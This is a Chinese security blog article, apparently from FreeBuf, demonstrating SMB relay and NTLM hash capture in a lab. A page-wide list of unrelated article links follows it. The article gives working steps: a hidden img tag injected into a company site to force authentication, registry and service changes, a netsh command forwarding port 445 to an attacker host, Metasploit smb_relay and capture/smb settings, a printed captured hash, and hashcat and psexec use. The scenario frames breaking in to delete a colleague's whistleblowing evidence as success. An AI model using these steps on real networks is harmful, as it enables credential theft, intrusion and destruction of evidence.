内网穿透Windows(SMB)自认证的利用
SMB又名网络文件共享文件,顾名思义其作用是用于用户与服务端之间的文件交互。默认端口为139,445。SMB的认证过程在这里就不重复描述了,具体可以看我上一篇写的文章,路由器抓包分析之SMB篇。在认证的时候细心的同学一定会发现在Windows下访问SMB服务器会默认使用当前用户hash去向SMB服务器发起认证。下面的实验便与这个机制有关。
实验环境:
windows 7 (smb server) 192.168.0.100 window7(bob管理的网站) 192.168.0.2 kali(攻击机/路人甲) 192.168.0.122(因为懒直接用同一网段IP了,大家可以假装这台是外网机器)
实验模拟:Bob是公司网站管理员,一天同部门的Alice发现Bob跟Boss老婆有一腿,决定向BOSS举报。并把证据上传到了SMB服务器,Bob知道后急忙到SMB服务器上查看,结果发现自己没有权限访问,于是急忙向好哥们路人甲救助。路人甲知道情况后一阵思考,决定用SMB中继来窃取凭证登陆SMB服务器,简单画一下原理图。
正常认证
如图1为正常认证过程。
中继认证
如图2所示为以bob的网站服务器作为攻击机,但是服务器上存在杀毒软件,所以失败。
穿透内网中继认证
如图3所示为以Bob的服务器为代理,把服务器的445端口转发到外网VPS,再以VPS为攻击机进行中继攻击。
首先在公司主页上插入一段JS<img src=//192.168.0.2 hidden="看不见我">。因为Bob是网站管理员所以插入代码并不难,192.168.0.2是Bob管理的网站服务器,在Bob的公司每个人上班都需到官网打卡签到,前面也说到了SMB自动认证的机制,所以只要员工用IE(chrome和firefox亲测无效)访问公司官网就会进行自动认证。
原本想在网站服务器上直接装msf完成攻击的,但是Bob公司买了某60牌的杀毒软件。一装就会触发警报,所以路人甲决定把端口转发出来。
由于445是默认端口,要转发出来首先要停用服务。
Bob's web server配置:
打开注册表,在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesNetBTParameters中添加SMBDeviceEnabled并设置值为0:
更改注册表
接着打开服务,找到server项,停止server服务,并在属性更改启动类型为禁用。
服务
重启后就会发现445端口被关闭了。接着就可以把445端口转发至外网。
管理员运行:
netsh interface portproxyadd v4tov4 listenport=445connectaddress=192.168.0.122 connectport=8080
端口转发
外网VPS/攻击机上配置:
启动msf
use exploit/windows/smb/smb_relay set smbhost 192.168.0.100 set srvport 8080
这里少了一步内网转发,可以用ants,ew,lcx,web代理等等等把内网代理转发到外网。
配置msf
接着运行等待,果不其然,在第二天早上所有员工打卡之后,终于抓到了有权限登陆SMB服务器的hash并进行中继,拿到了smb服务器的权限,成功删除了证据。
成功拿到SMB服务器权
实验模拟2:
上面说到Alice发现Bob与BOSS老婆有一腿,然后Alice把证据上传到了SMB服务器准备举报,在Bob的好哥们路人甲的帮助下删除了证据。但是Bob仍旧担心Alice的PC机内会存有证据的备份,Bob只能继续救助自己的好哥们路人甲。
路人甲通过Bob知道了Alice在内网的IP为192.168.0.3。首先路人甲用smb_touch扫描192.168.0.3的445端口,发现Alice的PC竟然用的是XP,都2019了竟然还有人用XP。既然能访问445还是XP系统直接使用永恒之蓝对其进行攻击,发现攻击失败。背后通过Bob得知全公司的内网PC都安装了某60的杀毒软件。
未命名
某60为XP保驾护航,既然安装了某60的杀毒软件,许多攻击都无法进行,只能另想办法,于是路人甲便想到了把自己的攻击机伪 装SMB服务器,让其他用户向其认证进行抓取hash。原理图2所示:
原理图
Bob web server 配置:
1.在Web首页上加上js代码
2.关闭445端口,将445端口转发到192.168.0.122的8080端口。(因为装了某60杀毒软件,需要转发端口到外网,具体操作见上一篇文章)。
路人甲VPS:
启动msf并配置:
use auxiliary/server/capture/smb set srvport 8080 exploit
msf配置
如图11所示这里我们可以看到配置中有challenge这一项,这里之所以把challenge设为1122334455667788是因为已经有人通过这个挑战值生成了彩虹表,这样可以减少跑hash所花费的时间。
配置完之后只需静静等待Alice明天打卡上班就可以抓到她的hash了。
成功抓取hash值
通过组合hash得到Net-ntlmv1:
Administrator::FUCK1:6822b126aac81581dbcc3576a52dc4612f85252cc731bb25:a77b6fbd0247c656be59e409ae3a01c07ca6bbc11dec9322:1122334455667788
接着把hash扔进hashcat跑出明文密码,利用psexec通过445端口对Alice机子进行命令执行,然后全盘搜索,成功删除了证据文件。
*本文作者:꧁,转载请注明来自FreeBuf.COM
- 大家一直在谈的领域驱动设计(DDD),我们在互联网业务系统是这么实践的
- 在Atom中设置Python开发环境
- Kaggle赛题解析:逻辑回归预测模型实现
- Shield:支撑美团点评品类最丰富业务的移动端模块化框架开源了
- 点击块,让小块动起来 - 函数封装
- 玩玩文本挖掘-wordcloud、主题模型与文本分类
- Typecho 前台 getshell 漏洞分析
- 关于其他选择器以及选择器优先级详解
- 2016.05 第二周 群问题分享
- MyFlash——美团点评的开源MySQL闪回工具
- R语言关联规则可视化:扩展包arulesViz的介绍
- JS设置标签的内容和样式
- 大圣魔方——美团点评酒旅BI报表工具平台开发实践
- 详析获取标签
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- XML文件解析实践(DOM解析)
- golang 多协程的同步方法总结
- C++核心准则T.144:不要特化函数模板
- 三千字带你搞懂XXL-JOB任务调度平台
- Python-科学计算-pandas-14-df按行按列进行转换
- Python实现扫码工具
- C++核心准则T.150:用static_assert检查类和概念的匹配性
- 初学者也能快速写Python脚本啦——通用功能代码分享
- C++核心准则CPL.1:C++比C更好
- C++核心准则CPL.2:如果你必须使用C,使用C和C++的共同子集,并且使用C++编译器编译C代码
- C++核心准则SF.1:如果你的项目没有正在遵从的其他习惯,为代码文件使用.cpp后缀,为接口文件使用.h后缀
- 群晖NAS搭建测速网站,支持万兆
- 二叉树:你真的会翻转二叉树么?
- C++核心准则SF.2:.h文件一定不能包含对象定义或者非inline函数定义
- Vue.js 源码⽬录设计